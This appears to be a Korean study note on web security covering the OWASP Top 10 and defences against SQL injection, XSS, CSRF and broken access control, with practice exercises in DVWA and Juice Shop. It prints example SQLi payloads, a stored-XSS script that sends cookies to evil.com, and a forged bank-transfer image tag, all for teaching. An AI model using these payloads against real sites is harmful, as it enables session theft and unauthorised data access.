IT Knowledge/Security/images/28-웹-보안-diagram.svg

웹 보안 (Web Security)

웹 애플리케이션 보안 위협과 방어 기법을 이해합니다.

📌 학습 목표

  • OWASP Top 10 이해
  • SQL 인젝션 방어
  • XSS 방어
  • CSRF 방어
  • 웹 보안 코딩 표준 습득

1. OWASP Top 10 (2021)

순위취약점설명
1A01: Broken Access Control권한 우회
2A02: Cryptographic Failures암호화 실패
3A03: Injection인젝션 공격
4A04: Insecure Design안전하지 않은 설계
5A05: Security Misconfiguration보안 구성 오류
6A06: Vulnerable and Outdated Components취약한 컴포넌트
7A07: Identification and Authentication Failures인증 실패
8A08: Software and Data Integrity Failures소프트웨어/데이터 무결성 실패
9A09: Security Logging and Monitoring Failures로깅/모니터링 실패
10A10: Server-Side Request Forgery (SSRF)서버 사이드 요청 위변조

2. SQL 인젝션 (SQL Injection)

정의

악성 SQL 코드를 주입하여 데이터베이스를 조작하는 공격입니다.

공격 원리

-- 정상 쿼리
SELECT * FROM users WHERE username = '$username' AND password = '$password';
 
-- 악성 입력
username: admin' OR '1'='1
password: anything
 
-- 실행되는 쿼리
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
-- 결과: 모든 유저 정보 노출

공격 유형

1. Error-Based SQLi

-- 데이터베이스 버전 유출
' UNION SELECT 1, @@version --
 
-- 결과
Duplicate entry '5.7.33' for key...

2. Union-Based SQLi

-- 다른 테이블 데이터 유출
' UNION SELECT 1, 2, 3 FROM users --
 
-- 결과
유저 정보: id, username, password

3. Blind SQLi

-- Boolean-Based SQLi
' AND 1=1 -- (True)
' AND 1=2 -- (False)
 
-- Time-Based SQLi
' AND SLEEP(5) --

방어 기법

1. Prepared Statements (권장)

// 안전한 방법
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
 
// 또는 명명 파라미터
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
# Python (SQLAlchemy)
from sqlalchemy import create_engine, text
 
engine = create_engine('sqlite:///users.db')
with engine.connect() as conn:
    result = conn.execute(text("SELECT * FROM users WHERE username = :username AND password = :password"),
                        {'username': username, 'password': password})

2. Input Validation

// 입력 검증
function sanitizeInput($input) {
    $input = trim($input);
    $input = stripslashes($input);
    $input = htmlspecialchars($input);
    return $input;
}
 
$username = sanitizeInput($_POST['username']);

3. 최소 권한 원칙

-- DB 계정 권한 제한
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'Password123!';
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp_user'@'localhost';

3. XSS (Cross-Site Scripting)

정의

악성 스크립트를 웹 페이지에 주입하여 사용자 브라우저에서 실행하는 공격입니다.

공격 유형

1. Stored XSS (저장형)

<!-- 게시판에 악성 코드 저장 -->
<script>
  document.location='http://evil.com/steal?cookie='+document.cookie;
</script>
 
<!-- 다른 사용자가 게시물 보면 스크립트 실행 -->

2. Reflected XSS (반사형)

<!-- URL에 스크립트 포함 -->
http://example.com/search?q=<script>alert('XSS')</script>
 
<!-- 서버가 입력을 그대로 반사 -->
검색어: <script>alert('XSS')</script>

3. DOM-Based XSS

<!-- URL 파라미터가 DOM에 직접 반영 -->
<script>
  var query = document.location.href.split('?')[1];
  eval(query);  // 악성 코드 실행
</script>

방어 기법

1. Output Encoding (권장)

// HTML 특수 문자 이스케이프
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
 
// HTML 속성
echo '<div class="' . htmlspecialchars($class, ENT_QUOTES, 'UTF-8') . '">';
// JavaScript 이스케이프
function escapeHtml(unsafe) {
    return unsafe
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}

2. CSP (Content Security Policy)

# HTTP 헤더
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self'; img-src 'self' data:; connect-src 'self';
 
# 또는 meta 태그
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

3. HTTPOnly Cookies

// XSS에서 쿠키 탈취 방지
setcookie('session_id', $session_id, time() + 3600, '/', 'example.com', true, true);
//                                                ↑ HttpOnly      ↑ Secure

4. DOM XSS 방어

// DOM API 대신 안전한 메서드 사용
// 위험
element.innerHTML = userInput;
 
// 안전
element.textContent = userInput;

4. CSRF (Cross-Site Request Forgery)

정의

사용자가 원하지 않은 요청을 보내도록 유도하는 공격입니다.

공격 원리

<!-- 악성 사이트 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000">

시나리오:

  1. 사용자가 bank.com 로그인
  2. 사용자가 악성 사이트 방문
  3. 악성 사이트가 자동으로 전송 요청 전송
  4. 사용자 몰래 송금

방어 기법

1. CSRF Token (권장)

// 토큰 생성
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
 
// 폼에 토큰 포함
<form method="POST" action="/transfer">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <input type="text" name="amount">
    <button type="submit">전송</button>
</form>
 
// 토큰 검증
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF 공격 탐지");
}
# Flask (WTF CSRF Protection)
from flask_wtf.csrf import CSRFProtect
 
app = Flask(__name__)
csrf = CSRFProtect(app)
 
# 템플릿
<form method="post">
    <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
    ...
</form>
// 쿠키 SameSite 속성
setcookie('session_id', $session_id, time() + 3600, '/', 'example.com', true, true, 'Strict');
//                                                                                 ↑ SameSite=Strict

3. Referer/Origin 체크

// Referer 헤더 검증
$allowed_domains = ['example.com', 'www.example.com'];
$referer = $_SERVER['HTTP_REFERER'];
$referer_host = parse_url($referer, PHP_URL_HOST);
 
if (!in_array($referer_host, $allowed_domains)) {
    die("허용되지 않는 도메인");
}

5. Broken Access Control

정의

권한 없는 사용자가 제한된 자원에 접근하는 취약점입니다.

공격 유형

1. IDOR (Insecure Direct Object Reference)

// URL에 ID 포함
GET /profile/12345
 
// ID 변경으로 다른 사용자 정보 접근
GET /profile/12346  // 12346 사용자 정보 노출

2. Privilege Escalation

// 권한 파라미터 조작
GET /admin/dashboard?role=admin  // 일반 사용자가 관리자 페이지 접근

방어 기법

1. 권한 검증

// IDOR 방어
session_start();
$current_user_id = $_SESSION['user_id'];
 
if ($_GET['profile_id'] != $current_user_id) {
    die("접근 권한 없음");
}
 
// 또는 소유자 검증
$profile = getProfile($_GET['profile_id']);
if ($profile['user_id'] != $current_user_id) {
    die("접근 권한 없음");
}
# Django 데코레이터
from django.contrib.auth.decorators import login_required, permission_required
 
@login_required
@permission_required('app.view_profile', raise_exception=True)
def profile_view(request, profile_id):
    profile = get_object_or_404(Profile, id=profile_id)
    if profile.user != request.user:
        return HttpResponseForbidden("접근 권한 없음")
    ...

2. 세션 관리

// 권한 정보 세션에 저장
session_start();
$_SESSION['user_id'] = $user_id;
$_SESSION['role'] = $role;
$_SESSION['last_activity'] = time();
 
// 세션 타임아웃
if (time() - $_SESSION['last_activity'] > 1800) {
    session_destroy();
}

6. Security Misconfiguration

취약점 예시

1. 디버그 모드 활성화

// 개발 환경 설정이 운영 환경에 남음
ini_set('display_errors', 1);
ini_set('error_reporting', E_ALL);

2. 기본 비밀번호

Default Password:
- admin/admin
- root/123456
- admin/password

3. 불필요 서비스 활성화

불필요 포트:
- 21 (FTP)
- 23 (Telnet)
- 80 (HTTP - HTTPS만 사용)

방어 기법

1. 운영 환경 구성

// 에러 로깅 (사용자에게 노출 않음)
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');

2. 보안 헤더

# 보안 헤더
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
# Flask 보안 헤더
@app.after_request
def add_security_headers(response):
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    return response

7. 웹 보안 코딩 표준

검증 규칙

// 입력 검증
function validateInput($input, $type) {
    if ($type == 'email') {
        return filter_var($input, FILTER_VALIDATE_EMAIL);
    } elseif ($type == 'url') {
        return filter_var($input, FILTER_VALIDATE_URL);
    } elseif ($type == 'integer') {
        return ctype_digit($input);
    }
    return false;
}
 
// 길이 검증
if (strlen($username) < 8 || strlen($username) > 32) {
    die("사용자명은 8-32자");
}

인코딩 규칙

// 항상 인코딩
function escapeOutput(data) {
    if (data === null) return '';
    return String(data)
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

인증 규칙

// 패스워드 강도
function validatePassword($password) {
    // 길이 12+자
    if (strlen($password) < 12) return false;
    // 대문자 1+개
    if (!preg_match('/[A-Z]/', $password)) return false;
    // 소문자 1+개
    if (!preg_match('/[a-z]/', $password)) return false;
    // 숫자 1+개
    if (!preg_match('/[0-9]/', $password)) return false;
    // 특수문자 1+개
    if (!preg_match('/[^a-zA-Z0-9]/', $password)) return false;
    return true;
}

8. 웹 보안 테스트 도구

스캔 도구

도구설명
OWASP ZAP오픈 소스 웹 보안 스캐너
Burp Suite상용 웹 보안 테스트 도구
Nikto웹 서버 취약점 스캐너
SQLMapSQL 인젝션 자동화

OWASP ZAP 사용

# OWASP ZAP 설치
sudo apt-get install zaproxy
 
# OWASP ZAP 시작
zaproxy
 
# 자동 스캔
# 1. 타겟 URL 설정
# 2. Attack Mode 선택
# 3. Start Attack 클릭

Burp Suite 사용

Burp Suite 워크플로우:
1. Proxy → 타겟 사이트 접속
2. Repeater → 요청 수정 및 재전송
3. Intruder → 자동화된 공격
4. Scanner → 취약점 스캔

9. 웹 보안 체크리스트

코드 레벨

  • 모든 사용자 입력 검증
  • Prepared Statements 사용
  • XSS 방어 (Output Encoding, CSP)
  • CSRF 토큰 구현
  • 권한 검증
  • HTTPOnly/Secure 쿠키

서버 레벨

  • HTTPS 적용 (HSTS)
  • 보안 헤더 설정
  • 디버그 모드 비활성화
  • 업데이트된 소프트웨어
  • 방화벽 규칙 적용

개발 프로세스

  • 보안 요구사항 정의
  • 코드 리뷰 수행
  • 보안 테스트 (SAST/DAST)
  • 침해 테스트 (Penetration Test)
  • 보안 교육

🎯 실습 과제

1. DVWA (Damn Vulnerable Web App) 실습

# DVWA 설치
git clone https://github.com/digininja/DVWA.git
cd DVWA
cp config/config.inc.php.dist config/config.inc.php
 
# Apache/PHP 서버 시작
sudo service apache2 start
sudo service mysql start
 
# DVWA 접속
http://localhost/dvwa
 
# SQLi 챌린지
# 1. SQL Injection 챌린지 선택
# 2. ' OR '1'='1 입력
# 3. 결과 확인

2. OWASP Juice Shop 실습

# Juice Shop 설치
docker pull bkimminich/juice-shop
docker run -p 3000:3000 bkimminich/juice-shop
 
# Juice Shop 접속
http://localhost:3000
 
# XSS 챌린지
# 1. XSS 챌린지 찾기
# 2. 악성 코드 주입
# 3. 알림 박스 확인

3. OWASP ZAP 스캔

# OWASP ZAP 시작
zaproxy
 
# 타겟 사이트 스캔
# 1. 타겟 URL 설정
# 2. Spider 실행
# 3. Active Scan 실행
# 4. 보고서 확인

✅ 학습 체크리스트

  • OWASP Top 10 이해
  • SQL 인젝션 방어 기법 습득
  • XSS 방어 기법 습득
  • CSRF 방어 기법 습득
  • Broken Access Control 방지
  • 보안 구성 모범 사례 이해
  • 웹 보안 코딩 표준 습득
  • 보안 테스트 도구 사용

🔗 관련 노트

📚 참고 자료


다음 학습: SIEM과 보안 운영